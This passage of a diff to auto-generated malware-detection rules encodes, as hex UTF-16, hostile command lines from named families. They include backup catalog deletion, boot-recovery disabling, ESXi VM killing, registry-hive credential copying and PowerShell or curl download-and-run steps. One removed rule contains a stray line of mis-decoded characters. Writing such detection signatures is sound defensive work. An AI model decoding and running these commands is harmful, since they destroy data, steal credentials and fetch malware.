20 00 3e 00 6e 00 75 00 6c 00 20 00 32 00 3e 00 6e 00 75 00 6c 00 20 00 26 00 01 00 12 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 64 00 01 00 18 00 63 00 6d 00 } //46 + $a_00_6 = {2f 00 69 00 20 00 2f 00 63 00 20 00 63 00 64 00 00 00 d7 31 01 00 06 00 06 00 06 00 21 23 54 45 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*42+(#a_00_3 & 1)*40+(#a_00_5 & 1)*46+(#a_00_6 & 1)*100) >=111 + +} +rule _InfrastructureShared_28173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -346328,7 +368238,7 @@ rule _InfrastructureShared_26486{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*105+(#a_00_2 & 1)*111+(#a_00_4 & 1)*13015) >=6 } -rule _InfrastructureShared_26487{ +rule _InfrastructureShared_28174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " @@ -346339,48 +368249,49 @@ rule _InfrastructureShared_26487{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*72) >=5 } -rule _InfrastructureShared_26488{ +rule _InfrastructureShared_28175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 0a 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 41 42 00 0a 00 1c 00 61 00 74 00 65 00 72 00 61 00 61 00 67 00 65 00 6e 00 74 00 2e 00 65 00 78 00 65 00 0a 00 20 00 69 00 6e 00 74 00 65 00 67 00 72 00 } //21283 $a_00_1 = {6f 00 72 00 6c 00 6f 00 67 00 69 00 6e 00 3d 00 0a 00 06 00 2f 00 69 00 20 00 01 00 14 00 40 00 67 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 01 00 18 00 40 00 68 00 6f 00 74 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 01 00 14 00 40 00 79 00 61 00 6e 00 64 00 65 00 78 00 2e 00 72 00 75 00 01 00 10 00 40 00 6d 00 61 00 69 00 6c 00 } //97 - $a_00_2 = {75 00 01 00 18 00 40 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 2e 00 63 00 6f 00 6d 00 01 00 1e 00 40 00 70 00 72 00 6f 00 74 00 6f 00 6e 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 01 00 18 00 40 00 64 00 72 00 6f 00 70 00 6d 00 61 00 69 00 6c 00 2e 00 6d 00 65 00 00 00 d7 33 01 00 09 00 09 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 } //46 - $a_61_3 = {71 53 72 76 53 76 63 2e 41 00 01 00 1e 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6b 00 01 00 6a 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f } //12082 - $a_00_5 = {5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 6e 00 74 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 01 00 46 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 } //102 - $a_00_6 = {74 00 5c 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 01 00 1a 00 2f 00 76 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 64 00 6c 00 6c 00 05 00 16 00 73 00 63 00 90 00 02 00 04 00 20 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 33 01 00 0a 00 0a 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //115 - $a_69_7 = {33 32 2f 53 68 61 64 6f 77 44 65 6c 65 74 65 2e 42 42 21 4d 54 42 00 0a 00 30 02 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 02 10 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 90 00 0a 00 54 02 62 00 63 00 64 00 65 00 } //14958 - $a_00_8 = {74 00 90 02 10 2f 00 73 00 65 00 74 00 90 02 10 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 90 02 10 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 90 02 10 6e 00 6f 00 90 00 0a 00 74 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 10 2f 00 73 00 65 00 74 00 90 02 10 64 } //100 + $a_00_2 = {75 00 01 00 18 00 40 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 2e 00 63 00 6f 00 6d 00 01 00 1e 00 40 00 70 00 72 00 6f 00 74 00 6f 00 6e 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 01 00 18 00 40 00 64 00 72 00 6f 00 70 00 6d 00 61 00 69 00 6c 00 2e 00 6d 00 65 00 00 00 d7 33 01 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a } //46 + $a_50_3 = {77 65 72 53 68 65 6c 6c 2f 4f 62 66 75 73 65 2e 52 52 21 4d 54 42 00 01 00 10 00 43 00 4d 00 44 00 20 00 2f 00 43 00 43 00 44 00 01 00 41 02 25 00 54 00 4d 00 50 00 25 00 26 } //28257 + $a_00_5 = {20 00 40 00 53 00 45 00 54 00 20 00 58 00 3d 00 53 00 65 00 73 00 50 00 72 00 6f 00 62 00 65 00 90 02 1f 2e 00 65 00 78 00 65 00 90 00 01 00 60 00 50 00 3d 00 5c 00 5c 00 74 00 73 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5c 00 53 00 45 00 } //72 + $a_00_6 = {52 00 4f 00 5c 00 42 00 49 00 4e 00 3e 00 3e 00 53 00 26 00 45 00 43 00 48 00 4f 00 20 00 3a 00 42 00 3e 00 3e 00 53 00 26 00 45 00 43 00 48 00 4f 00 20 00 40 00 50 00 49 00 4e 00 47 00 01 00 44 00 45 00 43 00 48 00 4f 00 20 00 40 00 53 00 } //83 + $a_00_7 = {52 00 54 00 20 00 25 00 58 00 25 00 3e 00 3e 00 53 00 26 00 4d 00 4f 00 56 00 45 00 20 00 2f 00 59 00 20 00 53 00 20 00 53 00 2e 00 42 00 41 00 54 00 00 00 d7 33 01 00 09 00 09 00 05 00 21 23 53 } //84 + $a_57_8 = {6e 33 32 2f 4d 61 73 71 53 72 76 53 76 63 2e 41 00 01 00 1e 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6b 00 01 00 6a 00 5c 00 73 } //17996 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*46+(#a_61_3 & 1)*12082+(#a_00_5 & 1)*102+(#a_00_6 & 1)*115+(#a_69_7 & 1)*14958+(#a_00_8 & 1)*100) >=31 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*46+(#a_50_3 & 1)*28257+(#a_00_5 & 1)*72+(#a_00_6 & 1)*83+(#a_00_7 & 1)*84+(#a_57_8 & 1)*17996) >=31 } -rule _InfrastructureShared_26489{ +rule _InfrastructureShared_28176{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4f 62 66 75 73 65 2e 52 52 21 4d 54 42 00 01 00 10 00 43 00 4d 00 44 00 20 00 2f 00 43 00 43 00 44 00 01 00 41 02 25 00 54 00 4d 00 50 00 25 00 26 00 45 00 43 00 48 00 4f 00 } //21283 + $a_00_1 = {53 00 45 00 54 00 20 00 58 00 3d 00 53 00 65 00 73 00 50 00 72 00 6f 00 62 00 65 00 90 02 1f 2e 00 65 00 78 00 65 00 90 00 01 00 60 00 50 00 3d 00 5c 00 5c 00 74 00 73 00 63 00 6c 00 69 00 65 } //32 + $a_00_3 = {45 00 53 00 50 00 52 00 4f 00 5c 00 42 00 49 00 4e 00 3e 00 3e 00 53 00 26 00 45 00 43 00 48 00 4f 00 20 00 3a 00 42 00 3e 00 3e 00 53 00 26 00 45 00 43 00 48 00 4f 00 20 00 40 00 50 00 49 00 4e 00 47 00 01 00 44 00 45 00 43 00 48 00 4f 00 20 00 40 } //92 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*32+(#a_00_3 & 1)*92) >=4 + +} +rule _InfrastructureShared_28177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 05 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 4d 61 73 71 53 72 76 53 76 63 2e 41 00 01 00 1e 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6b 00 01 00 6a 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c } //21283 $a_00_2 = {6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 6e 00 74 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 73 00 76 00 63 00 68 00 6f 00 73 00 74 00 01 00 46 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 63 00 } //99 - $a_00_3 = {74 00 72 00 6f 00 6c 00 73 00 65 00 74 00 5c 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 01 00 1a 00 2f 00 76 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 64 00 6c 00 6c 00 05 00 16 00 73 00 63 00 90 00 02 00 04 00 20 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 33 01 00 0a 00 0a 00 03 00 21 23 53 4c 46 3a 54 72 } //111 - $a_6e_4 = {57 69 6e 33 32 2f 53 68 61 64 6f 77 44 65 6c 65 74 65 2e 42 42 21 4d 54 42 00 0a 00 30 02 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 02 10 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 90 00 0a 00 54 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 } //27247 + $a_00_3 = {74 00 72 00 6f 00 6c 00 73 00 65 00 74 00 5c 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 01 00 1a 00 2f 00 76 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 64 00 6c 00 6c 00 05 00 16 00 73 00 63 00 90 00 02 00 04 00 20 00 73 00 74 00 61 00 72 00 74 00 00 00 d7 34 01 00 06 00 06 00 06 00 21 23 54 45 4c 3a 54 72 } //111 + $a_6e_4 = {57 69 6e 33 32 2f 54 72 69 63 6b 62 6f 74 2e 41 00 01 00 1a 00 69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 61 00 6c 00 6c 00 01 00 2c 00 6e 00 65 00 74 00 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 77 00 6f 00 72 00 6b 00 73 00 74 00 61 00 74 00 69 00 6f 00 6e 00 01 00 } //27247 condition: ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*99+(#a_00_3 & 1)*111+(#a_6e_4 & 1)*27247) >=9 } -rule _InfrastructureShared_26490{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 61 64 6f 77 44 65 6c 65 74 65 2e 42 42 21 4d 54 42 00 0a 00 30 02 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 90 02 10 64 00 65 00 6c 00 65 00 74 00 65 00 90 02 10 63 00 61 00 74 00 61 } //21283 - $a_00_2 = {0a 00 54 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 10 2f 00 73 00 65 00 74 00 90 02 10 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 90 02 10 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 90 02 10 6e 00 6f 00 90 00 0a 00 74 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 10 2f 00 73 00 65 00 74 00 90 02 10 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 90 02 10 62 00 6f 00 6f 00 74 } //103 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*103) >=10 - -} -rule _InfrastructureShared_26491{ +rule _InfrastructureShared_28178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -346392,27 +368303,7 @@ rule _InfrastructureShared_26491{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105+(#a_00_4 & 1)*116) >=6 } -rule _InfrastructureShared_26492{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 13 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 44 21 4d 54 42 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 64 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 64 00 08 00 2e 00 78 00 79 00 7a 00 64 00 08 00 2e 00 } //21283 - $a_00_1 = {75 00 64 00 08 00 2e 00 6c 00 61 00 74 00 64 00 08 00 2e 00 66 00 75 00 6e 00 64 00 08 00 2e 00 62 00 65 00 74 00 64 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 64 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 64 00 0e 00 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 64 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 64 } //105 - $a_00_3 = {70 00 64 00 0c 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 64 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 64 00 0e 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 64 00 08 00 2e 00 72 00 75 00 6e 00 64 00 08 00 2e 00 77 00 61 00 73 00 64 00 0c 00 2e 00 74 00 6f 00 64 00 61 00 79 00 64 00 0a 00 2e 00 63 00 79 00 6f 00 75 00 00 00 d7 36 01 } //116 - $a_3a_6 = {61 77 43 6f 70 79 2e 41 00 01 00 56 00 46 00 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 50 00 61 00 74 00 68 00 3a 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 } //19779 睡潃祰䄮Ā嘀䘀椀氀攀一愀洀攀倀愀琀栀㨀䌀㨀尀圀椀渀搀漀眀猀尀匀礀猀琀 - $a_00_8 = {5c 00 63 00 6f 00 6e 00 66 00 69 00 67 00 5c 00 53 00 41 00 4d 00 01 00 5c 00 46 00 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 50 00 61 00 74 00 68 00 } //51 - $a_00_9 = {3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 66 00 69 00 67 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 01 00 60 } //58 - $a_00_11 = {4e 00 61 00 6d 00 65 00 50 00 61 00 74 00 68 00 3a 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 63 00 6f 00 6e 00 66 00 69 00 67 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 00 00 d7 38 01 00 03 00 03 00 04 00 21 } //108 - $a_54_12 = {3a 4b 69 6c 6c 56 4d 56 42 79 45 73 78 43 4c 49 2e 41 50 00 01 00 48 00 65 00 73 00 78 00 63 00 6c 00 69 00 20 00 76 00 6d 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6b 00 69 00 6c 00 6c 00 20 00 2d 00 74 00 3d 00 73 00 6f 00 66 00 74 } //18467 - $a_00_14 = {25 00 64 00 01 00 4a 00 65 00 73 00 78 00 63 00 6c 00 69 00 20 00 76 00 6d 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6b 00 69 00 6c 00 6c 00 20 00 2d 00 74 00 3d 00 66 } //119 - $a_00_16 = {20 00 2d 00 77 00 3d 00 25 00 64 00 01 00 48 00 65 00 73 00 78 00 63 00 6c 00 69 00 20 00 76 00 6d 00 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6b 00 69 00 6c 00 6c 00 20 00 2d 00 74 00 3d 00 68 00 61 00 72 00 64 00 20 00 2d 00 77 00 3d 00 25 00 64 00 01 00 2c 00 65 00 73 00 78 00 63 00 6c } //99 - $a_00_18 = {20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6c 00 69 00 73 00 74 00 00 00 d7 3a 01 00 6f 00 6f 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 6b 61 42 6f 74 2e 53 41 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 38 00 43 00 72 00 61 00 73 00 68 00 46 00 6f 00 72 00 45 } //118 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_3 & 1)*116+(#a_3a_6 & 1)*19779+(#a_00_8 & 1)*51+(#a_00_9 & 1)*58+(#a_00_11 & 1)*108+(#a_54_12 & 1)*18467+(#a_00_14 & 1)*119+(#a_00_16 & 1)*99+(#a_00_18 & 1)*118) >=110 - -} -rule _InfrastructureShared_26493{ +rule _InfrastructureShared_28179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -346423,7 +368314,7 @@ rule _InfrastructureShared_26493{ ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*111) >=1 } -rule _InfrastructureShared_26494{ +rule _InfrastructureShared_28180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " @@ -346434,7 +368325,47 @@ rule _InfrastructureShared_26494{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*119) >=3 } -rule _InfrastructureShared_26495{ +rule _InfrastructureShared_28181{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa0 00 ffffffa0 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 4e 21 4d 54 42 00 64 00 1a 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 63 00 32 00 20 00 7c 00 20 00 43 00 6f 00 6e 00 76 00 65 00 } //21283 + $a_00_1 = {54 00 6f 00 2d 00 4a 00 73 00 6f 00 6e 00 0a 00 22 00 7c 00 20 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 46 00 72 00 6f 00 6d 00 2d 00 43 00 73 00 76 00 0a 00 48 00 47 00 65 00 74 00 2d 00 50 00 53 00 44 00 72 00 69 00 76 00 65 00 20 00 2d 00 50 00 53 00 50 00 72 00 6f 00 76 00 69 00 64 00 65 00 72 00 20 00 46 00 69 00 6c 00 65 00 53 00 79 00 } //114 + $a_00_2 = {65 00 6d 00 20 00 7c 00 0a 00 56 00 53 00 65 00 6c 00 65 00 63 00 74 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 20 00 7c 00 00 00 d7 3a 01 00 2f 04 2f 04 06 00 21 23 53 4c 46 3a } //115 + $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4f 21 4d 54 42 00 e8 03 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 38 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 7c 00 47 00 65 00 74 00 2d 00 4d 00 65 00 6d 00 62 00 65 00 72 00 7c 00 3f 00 7b 00 32 00 34 } //29268 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*115+(#a_6a_3 & 1)*29268) >=160 + +} +rule _InfrastructureShared_28182{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2f 04 2f 04 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4f 21 4d 54 42 00 e8 03 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 38 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 43 00 6f 00 6d } //21283 + $a_00_2 = {7c 00 47 00 65 00 74 00 2d 00 4d 00 65 00 6d 00 62 00 65 00 72 00 7c 00 3f 00 7b 00 32 00 34 00 2e 00 4e 00 61 00 6d 00 65 00 29 00 7c 00 47 00 65 00 74 00 2d 00 4d 00 65 00 6d 00 62 00 65 00 72 00 7c 00 57 00 68 00 65 00 72 00 65 00 7b 00 24 00 5f 00 0a 00 2a 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 } //110 + $a_00_3 = {79 00 70 00 65 00 73 00 5d 00 3a 00 3a 00 43 00 6d 00 64 00 6c 00 65 00 74 00 0a 00 45 02 76 00 61 00 72 00 69 00 61 00 62 00 6c 00 65 00 3a 00 90 02 0f 28 00 5b 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a } //100 + $a_00_5 = {28 00 29 00 90 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 3a 01 00 6e 00 6e 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2e 00 5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 4f 00 63 00 4b 00 5d } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*100+(#a_00_5 & 1)*101) >=1071 + +} +rule _InfrastructureShared_28183{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 56 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 2e 00 5b 00 53 00 63 00 52 00 69 00 50 00 74 00 42 00 6c 00 } //21283 + $a_00_1 = {4b 00 5d 00 3a 00 3a 00 43 00 72 00 45 00 61 00 54 00 65 00 28 00 24 00 18 fc 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 18 fc 18 00 2f 00 72 00 65 00 70 00 6f 00 73 00 69 00 74 00 6f 00 72 00 79 00 2f 00 18 fc 14 00 67 00 69 00 74 00 68 } //79 + $a_00_3 = {6f 00 6d 00 18 fc 32 00 72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 18 fc 12 00 2f 00 73 00 63 00 72 00 69 00 70 00 74 00 73 00 2f 00 18 fc 1c 00 6f 00 6c 00 69 00 62 00 2e 00 6d 00 79 00 6f } //46 + $a_00_5 = {6f 00 6d 00 00 00 d7 3a 01 00 6f 00 6f 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 6b 61 42 6f 74 2e 53 41 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 38 00 43 00 72 00 61 00 73 00 68 00 46 00 6f 00 72 00 45 00 78 00 63 00 65 00 70 00 74 00 69 } //46 + $a_00_7 = {70 00 6f 00 72 00 74 00 54 00 68 00 75 00 6e 00 6b 00 0a 00 3a 00 43 00 72 00 61 00 73 00 68 00 46 00 6f 00 72 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 5f 00 45 00 78 00 70 00 6f 00 72 00 74 00 54 00 68 00 75 00 6e 00 6b 00 0a 00 0a 00 43 00 72 00 61 00 73 00 68 00 0a 00 08 00 73 00 63 00 61 00 62 00 0a 00 18 00 20 00 48 00 55 00 46 00 5f 00 } //69 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*79+(#a_00_3 & 1)*46+(#a_00_5 & 1)*46+(#a_00_7 & 1)*69) >=110 + +} +rule _InfrastructureShared_28184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 09 00 21 " @@ -346449,7 +368380,7 @@ rule _InfrastructureShared_26495{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_3 & 1)*32+(#a_00_4 & 1)*26+(#a_00_5 & 1)*115+(#a_00_7 & 1)*114) >=111 } -rule _InfrastructureShared_26496{ +rule _InfrastructureShared_28185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 04 00 21 " @@ -346461,7 +368392,7 @@ rule _InfrastructureShared_26496{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109+(#a_00_3 & 1)*114) >=5 } -rule _InfrastructureShared_26497{ +rule _InfrastructureShared_28186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " @@ -346473,44 +368404,7 @@ rule _InfrastructureShared_26497{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116+(#a_00_2 & 1)*101) >=1 } -rule _InfrastructureShared_26498{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 44 21 4d 54 42 00 03 00 30 00 2e 00 74 00 78 00 74 00 27 00 3b 00 20 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 } //21283 - $a_00_1 = {27 00 68 00 74 00 74 00 70 00 01 00 28 00 3d 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 } //115 - $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 28 00 2d 00 6f 00 20 00 24 00 66 00 } //104 - $a_00_3 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 4a 00 2d 00 } //59 - $a_00_4 = {6c 00 65 00 50 00 61 00 74 00 68 00 20 00 27 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 27 00 20 00 2d 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 4c 00 69 00 73 00 74 00 01 00 2a 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 49 00 64 00 65 00 6e 00 74 00 69 00 66 00 69 00 63 00 61 } //70 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*104+(#a_00_3 & 1)*59+(#a_00_4 & 1)*70) >=7 - -} -rule _InfrastructureShared_26499{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 13 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 43 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 64 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 64 00 08 00 2e 00 78 00 } //21283 - $a_00_1 = {64 00 08 00 2e 00 69 00 63 00 75 00 64 00 08 00 2e 00 6c 00 61 00 74 00 64 00 08 